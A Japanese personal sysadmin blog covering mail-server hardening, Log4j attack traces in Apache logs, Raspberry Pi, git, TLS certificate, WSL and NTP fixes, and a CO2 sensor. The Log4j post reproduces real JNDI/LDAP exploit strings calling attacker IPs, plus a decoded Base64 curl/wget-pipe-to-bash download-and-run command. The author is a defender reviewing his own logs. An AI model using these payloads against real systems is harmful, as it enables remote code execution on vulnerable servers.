逆引きできないホストからのメール拒否
自宅サーバのメールに、よくできた偽装メールが届く。
国別IPアドレスで接続制限しているから、それなりに拒否しているはずだが、今回の JCB を語った偽装メールは、From: が *.cn で、ホスト名は逆引きできない、国ドメインではアメリカの IP アドレスだった。
どちらにしろ、我が家に *.cn からのメールが届く段階でヤバい。
ということで、逆引きできないホストからの接続自体怪しいので、smtpd_client_restriction に、reject_unknown_client を加える。
さらに smtpd_sender_restrictions を追加。
# SMTP接続相手がRBL登録されていれば受け取らない
smtpd_client_restrictions = permit_mynetworks,
reject_rbl_client bl.spamcop.net,
reject_rbl_client all.rbl.jp,
reject_unknown_client,
permit
# 送信者が怪しいものは拒否
smtpd_sender_restrictions = permit_mynetworks,
reject_non_fqdn_sender,
reject_invalid_hostname,
reject_unknown_sender_domain
Java Log4j 攻撃が自宅サーバにも来ている?
JPCERT/CC などでも重大な脆弱性として報告されている Log4j への攻撃だけど、Java なぞ動いていない我が家の”自己満足サーバ”にさえも届いている。
UserAgent で履歴確認
こちらの記事を参考に、UserAgent に変な値が入っていないか Log を漁ってみた。
この結果、攻撃のため? のLOGには、以下のような記録がある。UserAgent の中に埋め込まれている、”cryptoslogic-cve-2021-44228.com” というのは、ドメイン名部分が Log4j の脆弱性の正式名称なので、攻撃目的ではなく、攻撃可能性を警鐘するためグループからのアクセスかもしれない。
[/var/log/apache2]# grep -i user access.log.1 | grep -i agent
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET / HTTP/1.1" 302 16843 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET /wp/ HTTP/1.1" 301 266 "https://xx.xx.xx.xx/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:24:01 +0900] "GET /wp/ HTTP/1.1" 200 17388 "https://xx.xx.xx.xx/wp/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET / HTTP/1.1" 302 12543 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET /wp/ HTTP/1.1" 301 237 "http://xx.xx.xx.xx/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:50 +0900] "GET /wp/ HTTP/1.1" 200 17389 "http://xx.xx.xx.xx/wp/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
自分が仕事を含め外部公開をしているサーバで、上記のような履歴を確認したら、すべてのサーバに、12/12の日付の LOG が残っていた。
試しにアクセスしてきた IP アドレスを逆引き。digitalocean.com が管理しているアドレスということが判る。んで、”whois kryptoslogic-cve-2021-44228.com” で調べてみるけど、あまりいい情報は出てこない。
[~]# dig -x 68.183.207.73 : ;; AUTHORITY SECTION: 207.183.68.in-addr.arpa. 957 IN SOA ns1.digitalocean.com. hostmaster.207.183.68.in-addr.arpa. (略) [~]# whois kryptoslogic-cve-2021-44228.com (略)
これを見ると、ドメイン名にLog4jの脆弱性の名前を使っているし、kryptos logic という脆弱性診断のサービスをしている企業なども見えてくるので、単純に攻撃ではないかもしれない。悪意があるのであれば、攻撃用のホストの部分に、ちゃんとしたドメイン登録されているホスト名を使わないはず。
jndi:ldap の履歴確認
ということで、今回の攻撃? では、どれも jndi:ldap というのがカギっぽいので、あらためて “grep -i jndi:ldap access.log” をしてみた。すると、他の攻撃パターンも見えてきた。
[~]# cd /var/log/apache2
[/var/log/apache2]# ( cat access.log{,.1} && zcat access.log*.gz ) | grep -i jndi:ldap
37.120.189.247 - - [13/Dec/2021:16:02:47 +0900] "GET /$%7Bjndi:ldap://45.83.193.150:1389/Exploit%7D HTTP/1.1" 404 4616 "-" "Mozilla/5.0 zgrab/0.x"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET / HTTP/1.1" 302 16843 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:23:59 +0900] "GET /wp/ HTTP/1.1" 301 266 "https://xx.xx.xx.xx/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:02:24:01 +0900] "GET /wp/ HTTP/1.1" 200 17388 "https://xx.xx.xx.xx/wp/" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}"
68.183.207.73 - - [12/Dec/2021:04:01:44 +0900] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 4615 "-" "Kryptos Logic Telltale"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET / HTTP/1.1" 302 12543 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:43 +0900] "GET /wp/ HTTP/1.1" 301 237 "http://xx.xx.xx.xx/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:08:24:50 +0900] "GET /wp/ HTTP/1.1" 200 17389 "http://xx.xx.xx.xx/wp/" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"
68.183.207.73 - - [12/Dec/2021:09:40:02 +0900] "GET /$%7Bjndi:ldap://http80path.kryptoslogic-cve-2021-44228.com/http80path%7D HTTP/1.1" 404 402 "-" "Kryptos Logic Telltale"
20.71.156.146 - - [11/Dec/2021:18:10:51 +0900] "GET / HTTP/1.1" 302 12543 "-" "/${jndi:ldap://45.130.229.168:1389/Exploit}"
すると、攻撃用のホストに、分かり易いドメイン名など使っていない、IPアドレスそのまんまの”悪意を想定した方がよさそうな”アクセス履歴が出てくる。かといって、ldap URL の後ろに “Exploit” といった、文字が含まれているから、まだ違うのかな…
わちゃ、こりゃ悪意の塊…
同じような履歴を仕事で管理しているサーバで実行していたら、以下のようなアクセス履歴が見つかる。
45.155.205.233 - - [10/Dec/2021:22:35:08 +0900] "GET / HTTP/1.1" 200 11705 "-" "${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xMDQuMjE1LjI0LjI0MTo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xMDQuMjE1LjI0LjI0MTo4MCl8YmFzaA==}"
後半の部分が、Base64 とかの後ろに、”KGN…aA==” とかいう、いかにも BASE64 エンコーディングされたような文字列発見。
base64 デコードサービスで確認すると
(curl -s 45.155.205.233:5874/xx.xx.xx.xx:80 ||wget -q -O- 45.155.205.233:5874/xx.xx.xx.xx:80) # xx.xx.xx.xx は攻撃対象のIP |bash
なんて文字が出てくる。こりゃ、確実に悪意のあるスクリプト。
たぶん、踏み台となっているコマンドサーバ(45.155.205.233)からダウンロードした shell script をbash で実行しようとしている。そこで、このアドレスを、dig -x やら whois やらで調べてみるけど、踏み台だし「攻撃者だけど実際は犠牲者」の情報だし、これ以上調べてもまともな情報は出てこないだろう。別に調べたら、ロシアのコンピュータ。自宅サーバはロシアなどの国は最初からアクセス禁止してあるから、履歴が無かっただけか。んで、このコマンドサーバに、試しに ping やら nmap を実行してみる。
[~]# dig -x 45.155.205.233 (略) ;; AUTHORITY SECTION: 205.155.45.in-addr.arpa. 1258 IN SOA pns21.cloudns.net. support.cloudns.net. (略) [~]# whois cloudns.net (無料のDNSサービスなのであまりいい情報が無い) [~]# ping 45.155.205.233 [ping 反応なし] [~]# nmap 45.155.205.233 [nmap 反応なし]
たぶん、すでに踏み台となっていることの報告がでて、プロバイダが対応をしたんだろうけど、反応がない。
まとめ記事へのリンク
Log4j に関連するパッケージ
Log4j は色々な使われ方をしているようなので、一応確認。
(( log4j という名前を含むパッケージの検索 )) [~]# dpkg -l | grep log4j ii liblog-log4perl-perl 1.54-1 all Perl port of the widely popular log4j logging package (( liblog-log4per-perl に依存しているパッケージを探す )) [~]# aptitude purge liblog-log4perl-perl : 以下のパッケージには満たされていない依存関係があります: munin : 依存: liblog-log4perl-perl インストールされません
raspberry-pi のディスク容量増
自宅内の色々な処理(温湿度モニタリング, 家電リモコン制御, homebridge)をさせている、Raspberry-Pi のディスク容量(8GB) の容量が不足してきた。大した処理はしていないし、不要なパッケージは消していたけど、homebridge などを使っていたりで、ギリギリになってきた。
Raspberry Pi の SDD交換&拡張
しかたがないので、32GB SDD を買ってきて、イメージファイルでコピーを行う。
((( 元のraspberry-piのイメージ吸い出し ))) $ sudo dd bs=4M if=/dev/sdd of=~/rpi.img ((( 新しいSDDにイメージを書き戻し ))) $ sudo dd bs=4M if=~/rpi.img of=/dev/sdd ((( 新しいSDDでraspberry-piを起動し ))) $ sudo raspi-config --expand-rootfs
bind9-dnsutils の nslookup でデバッグ表示
DNS関連の動作確認で動かしている script が変な表示を出すようになっている。
原因を探していくと、/usr/bin/nslookup コマンドで、検索オプションをつけると、デバッグ出力が表示されているみたい。出力先も標準エラー出力となっている。10/25リリースの 9.17.19-1 の問題??
$ ls -l /usr/bin/nslooup -rwxr-xr-x 1 root root 105120 10月 25 21:29 /usr/bin/nslookup $ dpkg -l | grep bind9-dnsutils ii bind9-dnsutils 1:9.17.19-1 $ nslookup -type=a tsaitoh.net main parsing tsaitoh.net addlookup() make_empty_lookup() make_empty_lookup() = 0x7ffa08b49000->references = 1
どうも、脆弱性問題が発生した対応時の debug モード付がリリースされたんじゃないのか?
Makefile に git は邪道?
今まで、git はあんまり使ってこなかったが、講習会向けのファイル配布を github で簡単にできるようにするために、準備。
だけど、使い慣れていないからコマンドをいちいち確認。でも、add , commit , push の流れとかも、いちいちキー入力するのは面倒。IDE 環境使えば git コマンドも簡単なのかもしれないけど、オールドタイプは「make 使えばいいじゃん…」となってしまう。
git コマンド発行用 Makefile
以下の Makefile をプロジェクトに入れておけば、add, commit, push も “make”一発。
# git@example.com:foo/bar.git
GH_ID = foo
GH_PROJECT = bar
GH_SSH = git@example.com:$(GH_ID)/$(GH_PROJECT).git
REPOSITORY = origin
BRANCH = master
DATE := $(shell date +%Y/%m/%d)
HOSTNAME := $(shell hostname)
all: add commit push
@echo $(GH_SSH)
add:; git add -u
commit:; git commit -m $(DATE)-$(HOSTNAME)
push:; git push $(REPOSITORY) $(BRANCH)
pull:; git pull $(REPOSITORY) $(BRANCH)
ただ、この設定しちゃうと、ちょっとファイルを触っただけでも “make” しちゃう癖がついているので commit を乱発することになるので、バージョン管理という意味では邪道かもしれない。、
dotfile を git で管理
以前、git を活用している人の記事で、リモートサーバを渡り歩く時、自分用の .bashrc などの dotfile をいちいちコピーするのは面倒だから、git を使う…というのがあったのでやってみる。
- 自宅サーバで、ssh 経由で更新できる git サーバ環境を構築
- dotfile 用のフォルダを作り、対象の dotfile をコピー
- git init で dotfile フォルダを管理対象に
- $HOME/.bashrc など消して、ln -sf dotfile/bashrc .bashrc で参照するように設定。
- 前述 git コマンド発行用のMakefile なども準備して、make
- あとは、新しいサーバを触る時には、”git clone git@…dotfile.git”
dovecot が動かない Let’s Encrypt 証明書問題
数日前から、iphoneで自宅サーバのメールを見ると証明書が有効期限切れとのエラーが表示される。パソコンから Thunderbird で見るのには影響がないようだ。設定を色々と確認しても改善しない。
/var/log/mail.log を見ると、”SSL issue: alert number 46″ などのエラーメッセージが残っていて、dovecot と合わせてググると、Let’s Encrypt のルート証明書が、2021/09/30 で切れるといった記事が見つかり、これが影響しているようだ。
dovecot の設定の修正
さらに検索すると、ようやく対応記事が見つかった。ssl_cert の cert.pem を fullchain.pem に替えるだけ。こちらの資料を見ても、dovecot とか postfix なら fullchain.pem を使うような説明がある。
((( /etc/dovecot/conf.d/10-ssl.conf ))) # ssl_cert = </var/lib/dehydrated/certs/自宅サーバ名/cert.pem ssl_cert = </var/lib/dehydrated/certs/自宅サーバ名/fullchain.pem ((( restart dovecot ))) $ sudo systemctl restart dovecot
postfix の設定の修正
同じような設定は postfix も使っていたはず。試しに、iphone でメールを出そうとすると、dovecot と同じような証明書が信用できないとのメッセージでメールが送れない。
((( /etc/postfix/main.conf ))) # smtpd_tls_cert_file=/var/lib/dehydrated/certs/自宅サーバ名/cert.pem smtpd_tls_cert_file=/var/lib/dehydrated/certs/自宅サーバ名/fullchain.pem ((( restart postfix ))) $ sudo systemctl restart postfix
WSLでX11 GUIを使う
Windows 11 の WSL になれば、X サーバなど準備しなくても動くようになるんだけどね。WSLのPythonでGUIアプリを動かすにはどうすればいいかと試してみた。
XcXsrv を入れてあったけど、面倒で環境作ってなかった。改めて X関係のソフトを入れてみた。
$ sudo aptitude install x11-apps fonts-ipafont inkscape gimp tgif $ export DISPLAY=192.168.xx.yy:0.0 $ xeyes
GIMPとかInkscapeとかGoogle Chromeなども入れてそれなりに上手く動くけど、emacs が上手く動かないな…
ntpが正しく動かなくなった
ntp サーバが正しく動かない
NTPが正しく動いていない。nagios で、check_ntp_peer コマンドにて、NTP サーバの動作を検証しているが、
# /usr/lib/nagios/plugins/check_ntp_peer -H 127.0.0.1 NTP CRITICAL: Server not synchronized, Offset unknown|offset=0.000000s;60.000000;120.000000;
にて、同期がとれていないとのメッセージ。いろいろと、/etc/ntp.conf を触ってみるが、うまく動いていない。
ntp プロセスを確認すると、
# ps ax | grep ntp 9999 ? Ssl 0:00 /usr/sbin/ntpd -p /var/run/ntpd.pid -g -c /run/ntp.conf.dhcp -u 122:130
となっていて、設定ファイル /etc/ntp.conf を参照せずに、/run/ntp.conf.dhcp を読み込んでいる。この設定ファイルでは、dhclient で DHCP にて IP アドレスをもらう際に、ntp-server が指定されていたら、それを使うための設定らしい。じゃあ、この /run/ntp.conf.dhcp を作っているのはだれ?となる。
NetworkManager が原因
色々と確認したら、NetworkManager が原因のようだ。NetworkManager が管理しているデバイスだと、上記の余計な設定をしてくれるらしい。時期的には、Debian/bookworm に切り替えて、普通に upgrade したら、NetworkManager の機能が増えたんだろう。
eth0 を NetworkManager の管理から外すと無事に動き出す
ということで、NetworkManager が eth0 の設定を触らないようにさせる。
((( /etc/systemd/network/eth0.network で固定アドレスを割振る設定 ))) [Match] Name=eth0 [Network] Address=192.168.xx.2/24 Gateway=192.168.xx.1 ((( /etc/NetworkManager/conf.d/99-unmanaged-devices.conf ))) [keyfile] unmanaged-devices=interface-name:eth0 ((( NetworkMangaerを再起動 ))) # systemctl reload NetworkManager ((( NetworkManagerの確認 ))) # nmcli device status DEVICE TYPE STATE CONNECTION eth0 ethernet 管理無し -- lo loopback 管理無し -- ((( ntpの起動状態を確認 ))) # ps ax | grep ntp 9999 ? Ssl 0:00 /usr/sbin/ntpd -p /var/run/ntpd.pid -g -u 122:130
ということで、無事に eth0 が NetworkManager の管理から外れ、ntp が正しい設定ファイル /etc/ntp.conf を読むようになった。
でも、”ps ax” を試すと、”dhclient eth0″ が動いている。どうも、IPアドレスの設定がおかしい。以前に、nmcli コマンドを試したときのゴミが残っているのかな。設定情報のファイルを編集。
((( /etc/NetworkManager/system-connections/eth0.nmconnection ))) [connection] id=static <-- ここが eth0 と書かれていた。ここは、dhcp か static になるべき。 uuid=xxxxxxxxxxx type=ethernet interface-name=eth0 :
CCS811は、CO2センサーではない
TVで「最近コロナ対策のCO2センサーは怪しいものが多い」との番組をやってた。
んで、我が家でも安い空気品質センサーということで、Raspberry-PiにCCS811というセンサーをつけてモニタリングしている。んで、CO2値もモニタしてるけど、この番組でも「安い家庭用センサーばらしたけど、CO2センサーといいながらVOC(揮発性有機ガス)センサーしかないじゃん、これじゃ正しくCO2値は測れない。確かめたかったら、消毒用のアルコールをを近づけたら…」という解説だった。
ということで、やってみた。みごとにアルコールに反応して、CO2値が激増。(つまりCO2増えてないはずなのに反応するのは「CO2センサーという意味では、まがい物」)
まあ、CCS811の説明みても、TVOC値からCO2を推定している。”eCO2“/二酸化炭素相当物のセンサー。測定値も かといって、部屋に有機系ガスが溜まっているから、換気したほうがいいよ…ということには違いない。ということで、このCCS811の測定結果は、CO2値というよりは換気の目安だね。



